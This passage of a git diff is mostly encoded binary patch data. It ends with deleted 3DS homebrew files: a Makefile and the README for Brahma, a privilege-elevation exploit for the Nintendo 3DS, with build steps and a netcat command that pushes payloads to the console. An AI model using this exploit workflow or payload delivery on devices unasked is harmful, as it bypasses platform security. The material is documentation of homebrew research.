zougwZ!Zy)k2_WxE6A$-$(A%eosOZUbe`fNlKEsO;7`SEPatv@|)Em`@2s7t5Kj#{N z-zW6>Urpfov_j1*>sKEAqS3y|{;4jGc;;n>RJ3Qm&hApPb) z&dmHYV^6D<#ZWytvrM0|yw)r?==j(l?)`Rr{^ab*^T!vjE?&O6c=h7xf1f|PcyjtL zP-mq4pfS*q$OprHx=W6B4@cc0!;O&{i?a(<6H;3p%(sWbcXB4hPy4=wNq>M9@4WpRx*TGrrn!1%JSz1?6v+Gvb77HPFGJ(o{fCFA z&mRB&^!(|glShX;2QpZ`-eJVt+0jGZfBf+ADRa+s2I+X3>LVS0cPShHJK^9vx(w@4 ziQwV!lxk&?w483i_p#sT(Lb#&@lE*duEZ=|M({- zr!K&@4mxH$G6Ujdri)yW`TcsWZns4i$RYDeG4#0Xl{P}_-@)V$LCd)P|8EN@dnyu? zYGn@*0)B`J3Om~3!zU}rwj1t-zZX2S5B3k7!9V|d$IAJ?sF@g-UD&qz-0-9BBWD3D zaFso{4U7m54qLn4C%?~()>pHmwMN-Cb!Rf-7|4T#Ck2H+V05x{VLOuFXI}UI4HlSU z4~l{%_~{KNx%s2uN%Z94dbQ|B!Gmu;t^3qjz*)dqz*)dqz*)dqz*)dqz*)dqz*)dq zz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dq zz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dqz*)dq Zz*)dqz*)dqz*)dqz*)dq;LBU!{{URi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m*T?0*`dAP?x zkQcmF5WwEQ{oB9&zz06?^rt`lgcDBqo!|K#53zfzyuQ4SJqrQU#o^&=KJdT;Km6ej zzw2G^8XnAk5ZDw5O!8T`U-q(>MWQ#w+m}v`A#ltw$Dl5=F+5JO!{;F&+22G6pf1mh z!~An~``3Q$*BrF1)!6W*FMa7I0wi7C>EvXuGezTIp=s-W5dSn)zRDKpZLTl zs*%kORQkV(5Gdk3|M|~veMWB^J6&;)F?zStrtfIhr-P+2%(OrKgKADrOKx~l#bw}0;E ze$K;YV|);t?=No0fz0mhOUsKQz#9xHYTw|_P|=3ujitkD5!-Pm)P)3@jJM#)@Jt7t zgYd(H*$)Eig8;p?3BHXnyex!aV`=ZOGmfy$!y{w+6&oBon1?}NqY%JwalDdo3M zbwyeuyRiYIgPw8%zg_1n)q!%_OFf(8L129lz*V8>Dfcp9bPm5=8jiPgdyMujuhXWq zlc$2ftPwy|{G5Il_JcShbDidr+OT?fVdYt3p@*1ce?1XEO9rF4Ag~Sy zU?T+{yHPRLQ^VsPl5s~WV=^2SQg1Y_lW}|O!eJxX4+678pi1wC?HdwSP0`R%v=bWn z$3}&YH~T&IRJ%4iL15Mh;NdVdfs>UnS?aztnF%SU-69yqeLe#1l6Jfu$xaYh2Ly&Z zMA72m{aS_g5h!0#3h&z1VV{UZo*Nq3SvLeQvpMJGS6tvK#&XL(0?lSOK0A27pNMsP zfw|G1g8@Bn1vg8~~_`K(^Xii=!8(bP&{V7hasBcJH#+y)Us>SP4{JbI< zbMl%XfQ`**2xzQAQOh>Bm`3YWIgs`+J3(O92$TV473xN-PJj3mQ0B4ThRA!w>O=W5NvRjB=}Uvk>t!U*77v%6kqh3QuPdbP%WH?^nO3D&I|%v`t% z1crQGlU$w#C0Q`pW`7l3$|XTy)d*NIsnU5BnrLMht8UPRW~`9qDD&=Mm}^&!K$!%8 zZL4l17Y2ciMWB`-C>k&NHv+q{Z&2>Od;}1f%@ElTQWMhklbkN^2zzoUq zo6VU)VEqx`Z(Cj5l)DR42z^w#(5f<1&dgImU;`0A&J|hZDo<*jWYJpa4SYGdbr3*K z24h7yV6}i=QhqA}Ehn!J0{A?Z%Uk|^E9LG-n2ZDF{qj4ue7RTd6%e)785& zFIfn83c`76oe?0>ts<`Y*&K51I9Oe(pvN#R?l{6bZJqm^+XaE85WvP(i8L&$t5Ak# zS>?L6JhLO51{rS+R_LQW%uW#4Km?>qM3}1slV#7?D+FEkqe-!YINVg-jw2iR5_0Px z&=45%*+I-43o<*>sN0^kW25KQPKEMXo7o8h8;AgAHvceLDeBqA=UN=8x;ngyfP1)s zFCn)M0u2FFY*D*OrS)u!a^P*bWe07I=bD=QAhh1f#I4P%_O%D44-unrI8`^kf;oytd;aA^dZB z5BtWCNWSR#8~%#Yfjt?4S|6zpSW0hke$g!@9D6cz=JvJYYB`DuVt6>Et7B=GDQD)X zAh00_3`27XS!~E#kejY80yLS~KxQU+x<0S%ebZVHm<0m0rXnVfk(ooTgJZ{M(TB7d z1ZIr@8nf2R@zt~LN!kwryN>`qx09)WA zJIwo(V(2fJ~p_qKC9Z{+`{e*UAc7nj}BY)A3&SGuI;TY1C4%&|$UzGV{=j7q65%AVrcG+d_@`W#a!9J&f&!7C{C+*Mr z*6Y?jEp1CL@*W;8b1hstyi_MOLdJ*BF6B&y=VX7~5FpOYGynU)|NFY#cO7n2iSJ5h zyB%(0vecJxy5o2pv<;9llxfCC7b9R>1+<6T!(J2mEA>YTa75A z&vV5G;>~SubJe#s=}d7ClPT)jrn9SMf7hg+X=JSsV4IPd*=WXNty-Rwc4}-` z^jl_^1UC#NCPN&{yga9EAOa=P!@%7Jc4otGUGuO+Ef|&ijf!k|Z_|N>02GG6Hwu3MmQZ7s^44D3u_yD*)|#{d5B{~80b%{G*t=^ZyqDFMzYn*H!y5jl}!!E zaDgu`#F$Q)0y%9feO+~xbV*CcM50%U;kunK=3F&MRg$!of^~S<7zj@>3es9(ilXR> zM!qg_dA%=@=yl`gN^c~xQJ0Wq#I|i23ypz>ZhwFEaBmp)f|Wgfb>`+Yz{8~PFCDa5WDIRU+gy6wVp7j>}pr+iC$n4S4S z0HwDQffog~WVX1CpTiK`qUST)Y)Rw4hfYKFc5*CqgJQ0B-uvG7mSN^P1nWGUtM09N zXNDz7w3q7IS~w1GheOCIcXwJW#}s@v>ZulR<}^?mx3@f{3u<#uh<3SR%;X;o_gHB3 zroEK;eu*84-YC*exo`2gnCvvhW9t?3PkH(ERC6O$9a^@;-=V>nY=oHC5OVUV9N8!Y z@L9~6Cb!75Dvpin%$(e}_&m9G!DROs6(>&~&ykHnKuiOH8;1$?9^y9^1-zI{b??_~ zw9EMurlmd1&W0mEnYT>9d3V4>W-gj5zTZZ$U4(?+D9bTD5p%z-<%Bgv0FzmcHEeJ* zHdX$aEKlh?0;4*@8$6bb+o}C2SLLa7MgWK{nmw6BfLi`vyVWM zeba%>vm1f{X42#p-J0JZ;EmYU`&!ZEIeAVHFc{pD<3W@*CuJ2Nvmc6)T%JVsD$v{5 zON8mR*lPSkJaKZFmScET?He=l-deCF4>*a>d>&yJTP8&h2{n4pXIEFzD^ygazvvin z*qYP{_G13znXEODPo2gPu6f=^;5GtMXy>7PcRMoAJzr+uP@2pRqs{hfxumkn#nn!Q z`^{6fu}H`;R~W5cCh{9{+K|sRT@7zq&-#n) zSWUN^X!{^IQvBaaANk?S-|YKCKDSKwmMr0DL|x`vhOu=?5xcS4P78x9v#Ff6ZU}hS zs$SGibIxtL%DQ!9o^MpdCd+)ta0LTuUxc6M&hKe`^JbA~uiD=>g^)h0>)6wvnEra% z=3?*ATGQ$>Fe&z!j^4UG+bW-NxRuy#Nx!iskk;}Yv>K~hgZ3lT4UG-oG5TXLn%ThW zCe$0=xB2WqX*FNn!X{#U6|A1m4)0ODBGFt&y<}wG+D>E2PZ+Q0O()1>`E=fcZYP?z zA{b|Pa!nf~)Wz-c9<#gMI<#CrxK>VJ?C;!FK5HR-UMY-ge!gUP#p|kN zOx`l{yHRekc%!XoiX z*7vm2PJ78qUNR*lQlA&TMf>aguH|-%A|TXUqd$MuZ_w(-?M2Vuqz7wS_gmibmezlY zJrr%nadJrAM?UhAfBL6?dh*F9J2*VvT4*~VbAw{TclZr7E)ElC^cLdSGDE^4yoVlo z=$&`odB+`heDH%GoE#@QlPzfzQV{q#&w0+T|N5{0ceihd%V76Hh$x_SyN;L9`qne`-n$80*wzo z_+U!=;upV|vqEXy#^+!B#a|rjm1y3rx87>x_>OnHW8Zxr%xq9~Dvi%BA3He@=L!MN z*_&%4%W{PVgTwU7Ty=GIoq6nIA4^?X1u+dy_)(8~l<%OQ`I(>b!k_oN=Y99P-<9%i zEx+OwuXw==UQiG1^B#BKefN+2$d4dDm3GxBr<~GG&dwYnP#or;Ip<>a(0n9%NFUbxrsyiHVKDgacfVUM zk5!gZdC`kr^z42!JQQdC<~P6TTj_!eE^v3J-Fxr7H{X2IjvYH>{ird6p)i9`-*eAB zXur=s`=Ip0AO7$)?`j%ca|9}Cx8}`mRD)6>zxu1c%5U%(uY29=F1+wUp5bwidmL8V zp83pYzTpjTKzOHNZ>^F0OTY9>_`L1ZQ|Y;bLYJqUaIY|JHB))(cyjm7T% z@gM(@$UBW!VNpEXq!4Y@ZufrqjqTNKf%z$3Sb-e3pjeI#rp#g# zsx^3E8ZL{?T_ZVS8wm>Kq4!QcpWF#_$L5aCCy@7F_=R8KOf&^CPu+6MEs}}u*Z|DV z#v(wCIgQo_`wr!5}=OqSYa15_`oxIp9m_S=u^pvm$lzw#@;A{<>#1F_FK>nxl!rhDR< z=)Az^8WLW6?JLT1^y9&k(OAe%Eyt9Rg=S6Qsv!3AJDf9vz;p!E(FtoH>Jy*%L{^z{ z@)h!ct`gQzzri8ck<%BWBhIIv-dX5kG&X+jbDyh3AwG|`duT5v%Y9G3wJ=~@$8?C+ z|5dVyIUE{$`SCvGHmBy9jKx00csrbe> zzVV&!d`Cv_KmYST`2nNdzxu1cQVWW=82j#by-W6_HexPbXX8v(jc_J! zQ)ZbImH^L$?8G`87lMBK+utsfamgi@wELpyZ~yjhvn5~n!skb^y6*pbzv{$p!|LJ5 z^tsP>YqG1~C_ZC!&*xsCk3L#5T{X3$CX03WnlL%5wUC{4M!-rz?T%t}W)W_dN>Tg~ z)3CkgJ?|l^l-W1F44^?7wlN-3CwTt7?|qM5_}IrjCO}84Z@THGul1YKj-K;po+&|i zW|to{oc!3wZdT9V0O|e4j=sFED@dB)^D#$vj^k*f(Y^NGOV)-gkZWHPnUK{mT<0C; znLf9hveQBw?cqG{m}WvPRWY5j&|Nc8p#7E*yr_zfSIkvw;F?)dEPY`nwLIt)xI?lzD)WjS=9 zV$qw$au|r!glnwBXIxUPp$5sfKPDsV```b5nu)jU%-#E4(5%%)j@%gADj}$P}6XHyzdF%~*Lvw5IT4hx> z3z>iPM}M^Zsz@3ZaTlzzurT{t>=kFQZVUl;kUpcj=_VbW&pl^>&YeJa`t09`&!-ii zYvNV0Vo^TVc<>kjj!vFCfo3xdOWo9jER(rh%j)Q4s1*e67Xj|n$cqvla>yZq%tCXR zBO!>)%95E4Q%F=n+bA#xg=vp`PUzTdYpClmr^PFY=_97RQ((|La5#*coq;r!ayzNY8%F7XZeTz+FD&z(N=Ha1<-8DT(4aNi)U zo$LgGMG>I7SVa2RRKZ>krJfbV8HE`Msux8qpVo>g$c916m$~9TT|Hy0+R^v!+6V`vKb=J zyaz@hHc}z;pZv+6kYyztzVVTn2@&78;DYVvZ$E!AK99vWI=^xA%{PDYQ=e@2WzOld zsjpqU?u1eN**!-2lo6kgDnc7mlV!b9Ty1RxQwdsA*$D!Z2q2g`I^XH?ChF)6<%E$1 zis_*U13moXKmKF;$joeTv)fMFwtc%(Yzz848W8s3jXu6n1Hz8Y-L}pA!QqgQM2pE| zb&EfDY#!(Hg5khtJ=|xXeRNFtMNfRz)RRoUkQ|v20wNn$GOu5T^~P1AP!xLjBNQ{b z^@^HBPDTQ0ky*Ji+KA3sp-ZyCRT z7k};;P15nuFd2u3xs_G7Iim}GE%9BML6Hq&i~k?_$cMl2 zjjy+DVmye?ef+tLKA&-V?>D-HcdyX>dS4x-ZNty|FaPo{D}jE_<(Kz-me%HRc8PEF zhU2h95&F7WdknHY=J@VGRXHm}JZ) zj&Z=lA1<+CUKQprtCX49!0qQh|M`AxP%&*>7R%B zZt)QQxnuKaK}N$soAo!CoNACnU;gaN`R7iZdwuTwMrSulp6N3>AA0B^hxpJ5-kl0>#u)vs~7#+*S=~{S@lR9M~w$}>hrGai;8BWbX&NfB)a4C$Zw43-0`^^4;G&f zJ+$iXe1qtJ>q&NIhk(%^CKs!#_<0TogZ1(auhikwQliHm(?8lMCM@7gkU0&>3l9%I zmqk3# z*g+oKnCr<;zQ{j(?kW9s`93nf)ZH~GSB~3O;b2j)+9v*7<3W7p!znZ6x2A`k)(*=d zLby|(`RCqn0FyvBea2^B95pa(*JfvS2vBDA&#is$#ys=ckji(r*@BD&3vK2Uwg_t& z1LCuo7&*Q8;wLvgUwGjK72lAsHj11=>_R{t5qf{_bGKDw!(Smg?gEo7VK?M6OH86m zpsRkPN|HK0AKs4!7aVlQX9Ghi!jz9Tn$2{lik}f%m~P&3f>T~NE^!*1v#=Yf6g9?n z65aTG;YFN97k}Qq{d`5FJ+Zs-Ak*UfDJ^@d@_KS8b()8Eh8e@&Lf_R72N&v}jreRM zK92^3hje_l`Ql)Ts^HpOI^L|4=x#iCRHx3pJ|8wP z9Oa)oN*{DE%V9`6_CoS-Z4qEFI1QULiueX%ZwiUt|Dg{(>+G}3MWZEg<|{frV{`M* z=seQrPMvqDuQNZTCd7902d}#Nsu~HJ-;K=b>uMVsj7iv;5Wkh&QM!vh@6_kcK93x9 zr`uE#! zUwM{Y_+0fHJ13~@%y)}F_w%h5@`FX^`pM&V$3=I1OaQo0&)@t8Lic<=r|%kn7OxvI`j7=aa~z36H_&FfV;IP6 zAhyZfn1bX(`wZ289Rt zjj|lplqS&&ugxv?8lnlWeppge1Sd(U_@R@jWAPS+?PVDp>6|d{-`3Li@x&=5Y zzCo4+>lW=B5w4Vqe9Ap{-z}WdFJE_@AojDLec3|1uFDUWfnE^k8WQfLbNt4l;I8$- zGR&K9eg3`o+UpsYT!M`?9ux{IeeTDD7ah}Ald=(w&kNzY;&T_TGr#*u>XDH7Z~o?Q zmSQrn`SY4-rP67a`GcyFj&+|3*L4AoPMsI@d6e(obvzh-UTg9$(jJe&Kes37^RRrq z9iO)y`h3ZymvRjFW|MtWkHl~EA&w`r%KUN{ejdf^M4Ox6sOc#(Dl#ckWSMWVgroXr zn=$6ZdWw}9@QqU?cHQ5vea%S0Xwf$L8Wq<` zb}!V6Nq$h?&sG4S&`-36mLKG`A(T_>NmETKe#|> zbe`n%aorLeBSLq4?$_T~$fxvQaKn6xOo|Vh^Ow_;oU`X3z%#%6-CK@sEU12?*XJqzxi=igbbQ_!uj>qSm+fwb zgECv1Y(+iE$$J6<)Y$q+s(M&uf-FbPAY1s0AUlG4mtK0QBgTnp?fS`9-+1qP-?Iv2 z#5a%`rEj|F#-+!Dz2TtF_}s_qDqz>i^I*P}0#Uz1A>5tC3Rdw(Y~f4ju-R3pOY11` z``-7ym%QX9S6y`#stDZ4rzq60UK~o}Ho5GIpSvmEUtgx>n1oJP+gK8-#h;(|yyp$Z zgU5~5`(mCK{IfnR#GgApmo|41Xf)>V#j)*A-Xcf#SOi#B)2o%t`TAExL7#aHenaFL zmuh8NURM?mv6W?>ciy?ZM1S2%GK-D@he*0am`;#n@=UVNir4QNPsHoG0pZ9$kK%Q` zKv#gnGGx9@So&AK@|9UnW(aup4fkZXX`R`BmI1XRz9CXaeoet9*Toz>H#e44GSZzy z_w!+eI1CjVhA3*)j>->K@rJ*npC7!}EESu4ir{v;M6R&1-pY{FZx|3RESTHT**3@z zj@+}a3F0iz?n8&;T8QOncxFeGztPM?EG%^=eB;`sgFlptY)9B zRA9fc+Kz{R_jiAH_g#1OcBABZ!9jOyKJ0KYXTv~NU!21-dOj_~7n1!T00BcPd2PM| zXT<1G1#L+2vo5>r(q}%C<)Gfa<*~?O<~C-70>pEzclGW*uh4tJDy zFbGT{z>8w3Wj9o5_(B)r;0JhAU;3OgdK(Ec2_k!V&U=t(1^o26ljsqj2lG>UeeT!i zZ+@fabFKKr#q{~X{s+8OJz+JcF{affr=ax3Pr11GjLdqdpZdVz_AW#U% zn_w)(^CfQWFMn~ERWSQiNX=9}%FJN%%_vR7F{&r?*!=Fn?_1UULH>ECK5tu)=i>9A z9?4)6rCDgKZtn<_jM8`Bb!R8fhaL8y2R+Cqi`$pPJ`}Otw{d}vl&N_Qxy@GB5=q@?a{IdcM z8OY{0CiC6LU;doSv6_W8LaZJNzkK4BTUh0XJ?sDp!CP;=)hA9@bz|}+KLXkQv_A?uXcqr{0QfXMYgx~1a-$3UY4=$`Px~=JRU%oNW zXQNS(aMc_5EDYXyWrw3yG2(;4Z_K&2p&h+{x!bfTIg<^nRoCd9?oXuKv0BeBueid`fSmuN&*$>tFx+ zJMOrnB6Uhq5qs=}JPZPhB7nW9D=sIMOf!wbR9t-byWjoJcfRw_|NPI~tZ;;k2`S~b z6_IisroryIUcqR7ciD|m{COh2(ff^)cA0M_-#w|%`f0iK?|tuklJah+ON;hA2ZO+( z2pDq-Ah5ZJO|EIOrCpTRSxiQtOd-d&zV$8Dutsnsnxl4p`R9Iq_b&0e=ATFU+}1O% z_y(W83!i;VByo%in}60rqfxbaj!Qlohc4RZ91H?WA%HW=M~w#!4?p<94@%g{=nYSn z{*&yZlSYM12v72)C!V>;`Wx8X8)!k2#^*+8jP2Om@tNHi{oZlsppPZd)~{=KlqHuo zXEvC24yPT@P7qiQ0*J~a8|zs)zp^K4o`)BDR^^6Y43s`8iB@ie*bD1#bSoD0zt`3U zI2L}dt?{{!*Hu2{q(EykK}ng2Oi=`^!Y& zfe(D3c!Izkq8c9l&;R_7RLk(%SHJqziZ@i{2}cWwpqW_QXg!&V*YyeSQM|4fXe*;{ z8_iFt`BvS4kev`hdF^lS2so=&@|7{{L-vEfG7%8z#XXch z@W2C=cFUfB`3=cIjq?~9 zvGwvSoqmk339Ei7i>f+0x;?ym_JhER5TL!j;?;G?42q8t%pd&V2fqDVBSwgRh_FiR zAy)~ z?bg`|0;@nk?7~EEgEet!;b^mE2`L&6n_`<~sQsiSnI)$NZlZZz+4E?-{>^XZr~UJL znq7Wyl<=)TGP!MjcdLI^Dk^D+z}$0{*!c-sZ8FIsb!zQyxZwsnj))Tqt@xOj z%(&D|b36zv9|1!!G`{7QTWBjUZT;u_?z>M#ofZ)C{qKK2GqB9o)YM&j?JJZ#^^4c_ z1<<1(YcoZq8mZsY6g-jCb_By&5y39MdGvPZX>x|(^k$_Ot46NvI3Ih3=|nunt|i)`^cW_2xH<%|i;0mWzv&_0%jJ4_%{AAM@zvdE%2j4EhR;**$y3WmKrxby;}zVX(u$D;I@n_^sQDL# zU`VWZz)o<;27|&BwwrFc(T^QFzEa&@v|}na!skVi$-z}1ph81%LwS-NiwqdAS*u(- z?1AB-Vj(8MQ$lJYbAokZcPf@g5sq$VH~x!Sn4(ozt+Wr(=anLs^QR*~X5}?3|MJ$i zzE!4!0yEVvF(kB9yE!bT(7x(buVPE&1*H^a7%6sFzi~$QdqAVD``KG!Q? z#lWM_%K<9qEFS?*L!~`pi{SaWE@2ASs<&B`4i-AC(uB)H9as>-qhjW-VAy>6C>9pey)nAZZgeF{qSqG^47*(ZhZw zzA;22`)h*010L`I6y-Wh$U;;jLEb~l>N->n;kJPxGV>w)2A|}4+-c399md>#Ul{WU~@4y%F_ z%}|rf1Dmv>ad~YMvP9>U!wK$DW}y#!780pN4|;v>=68?t`J@xA=4Htvztkxh=t4GT z7{Rt5GOyv=m!`%LAh{^2Oh^f|vI->@POz!~ZX>YFi()*P7pn>w{qY%87q@rv+2>)j zK2qtk23^RyNJNVMwd7;nH<7wA{PS?l5kOQy3EInJeE<93mlJdgE268wC$It?42k%L zNC-YVjr?-dH6M1&KRe%VMksu8f-toq;h5P-WMj?WzBD+7fY>sw8v3ED`VAvEClJzq z`ImpeZR0_L>{%4$iiPhy+<*W57v=MQ`|ayOVH4+zjnL;@f7S?4>DRsPb#f~;wa~AnkZ9vO_cg0U z=0(JVc_!oZ`G`5NL5#b5|6=wsK-EB)?%y=+_ll7r<9nA>=A7$O^4&0$AHSijY2@3l3($b;8s?I z*t$_k5IQ{BC4wxC$Vl@c;?+Xg$gH|)c&2Ch@R*GuCfQ#%1XLCwGnH24Yz#%|b7##;uQ%sB$4Xfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 zAP5A3AP@wCKoAH5K_CbOfglhBfi2m(PM2n2y35Cnoi5C{T6 uAP5A3AP@wCKoAH5K_CbOfglhBfi2m*U10{devkitARM") -endif - -TOPDIR ?= $(CURDIR) -include $(DEVKITARM)/3ds_rules - -# This should be set externally -name ?= reiNand.dat -filepath ?= -dir_out ?= $(CURDIR) - -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# DATA is a list of directories containing data files -# INCLUDES is a list of directories containing header files -# -# NO_SMDH: if set to anything, no SMDH file is generated. -# APP_TITLE is the name of the app stored in the SMDH file (Optional) -# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) -# APP_AUTHOR is the author of the app stored in the SMDH file (Optional) -# ICON is the filename of the icon (.png), relative to the project folder. -# If not set, it attempts to use one of the following (in this order): -# - .png -# - icon.png -# - /default_icon.png -#--------------------------------------------------------------------------------- -TARGET := $(name:.dat=) -BUILD := build -SOURCES := source source/libkhax -DATA := data -INCLUDES := include -APP_TITLE ?= $(name:.dat=) -APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution -APP_AUTHOR ?= patois - -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard - -CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \ - -fomit-frame-pointer -ffast-math \ - $(ARCH) - -CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"' - -CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 - -ASFLAGS := -g $(ARCH) -LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) - -LIBS := -lctru -lm - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CTRULIB) - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- -ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- - -export OUTPUT := $(dir_out)/$(TARGET) -export TOPDIR := $(CURDIR) - -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) - -export DEPSDIR := $(CURDIR)/$(BUILD) - -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) - -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) -#--------------------------------------------------------------------------------- - export LD := $(CC) -#--------------------------------------------------------------------------------- -else -#--------------------------------------------------------------------------------- - export LD := $(CXX) -#--------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------- - -export OFILES := $(addsuffix .o,$(BINFILES)) \ - $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) - -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) - -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) - -ifeq ($(strip $(ICON)),) - icons := $(wildcard *.png) - ifneq (,$(findstring $(TARGET).png,$(icons))) - export APP_ICON := $(TOPDIR)/$(TARGET).png - else - ifneq (,$(findstring icon.png,$(icons))) - export APP_ICON := $(TOPDIR)/icon.png - endif - endif -else - export APP_ICON := $(ICON) -endif - -.PHONY: $(BUILD) clean all - -#--------------------------------------------------------------------------------- -all: $(BUILD) - -$(BUILD): - @echo $(SFILES) - @[ -d $@ ] || mkdir -p $@ - @make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile - -#--------------------------------------------------------------------------------- -clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh - - -#--------------------------------------------------------------------------------- -else - -DEPENDS := $(OFILES:.o=.d) - -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -ifeq ($(strip $(NO_SMDH)),) -.PHONY: all -all : $(OUTPUT).3dsx $(OUTPUT).smdh -endif -cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label -$(OUTPUT).3dsx : $(OFILES) - -#--------------------------------------------------------------------------------- -# you need a rule like this for each extension you use as binary data -#--------------------------------------------------------------------------------- -%.bin.o : %.bin -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @$(bin2o) - -# WARNING: This is not the right way to do this! TODO: Do it right! -#--------------------------------------------------------------------------------- -%.vsh.o : %.vsh -#--------------------------------------------------------------------------------- - @echo $(notdir $<) - @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin - @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h - @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h - @rm ../$(notdir $<).shbin - --include $(DEPENDS) - -#--------------------------------------------------------------------------------------- -endif -#--------------------------------------------------------------------------------------- diff --git a/ninjhax/README-brahma b/ninjhax/README-brahma deleted file mode 100644 index d8f7b2a..0000000 --- a/ninjhax/README-brahma +++ /dev/null @@ -1,121 +0,0 @@ -Brahma - Privilege elevation exploit for the Nintendo 3DS -========================================================= - - WTF is 'Brahma'? - ---------------- - Brahma is a development tool for the Nintendo 3DS platform that enables - privileged code execution on the ARM9 processor of the Nintendo 3DS platform. - It does so by exploiting two vulnerabilities in order to elevate its - privileges. - - The exploits utilized by Brahma are based on "commercial" exploits that - have been reverse engineered. Brahma has been developed with the goal of - understanding and documenting the nature of the exploits in mind and has - been put further effort into during its development process in order to - achieve reliable exploitation and stability. - - Brahma comes with full source code that is based on libctru and requires - existing user mode code execution privileges (Ninjhax), and can then be - used to further elevate privileges to ARM9 pre-kernel / SVC mode. - - Also, "Brahma, the creator" is a god in hinduism that is often portrayed - with four heads and arms (heh... so funny :\). - - How to build: - ------------- - - Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started) - - Open a shell and run make - - How to use: - ----------- - - Prebuilt binary releases are available at - https://github.com/patois/Brahma/releases - - Run brahma.3dsx (using homebrew launcher) - - By default, the exploit will attempt to gain ARM11 kernel privileges before - finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch") - - "Hotkeys" (press and hold during startup of BRAHMA): - ---------------------------------------------------- - - * LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card - and executes it - - * RIGHT : Performs a reboot / firm launch of the 3DS system - - * NONE : Displays a menu which allows payload files to be received via - a WiFi network connection or loaded from the '/brahma' folder - located in the root folder of the SD card - - In order to send payload files to the 3DS via a network connection, - the Python script '/tools/client.py' can be used. Alternatively, netcat - does the job as well. - - Syntax: - ------- - client.py: 'python client.py <3DS ip> ' - netcat: 'nc <3DS ip> 80 < ' - - Examples: - --------- - client.py: 'python client.py 10.0.0.5 payload.bin' - netcat: 'nc 10.0.0.5 80 < payload.bin' - - Example programs that run in privileged ARM9 mode can be downloaded from - https://github.com/patois/3DSProjects/tree/master/Brahma/ - - A memory dumper (3DSDevTools) for Brahma is available at - https://github.com/patois/3DSDevTools/releases - - There is also a port of Decrypt9 by archshift which can be loaded using - bootstrap or Brahma (use 'make' to build the project, then use one of the - methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be - downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap - - Developers: - ----------- - Brahma and its exploits which enable privileged ARM9 code execution - on the Nintendo 3DS may also be used as a "library" (#include "brahma.h") - - - call brahma_init() - 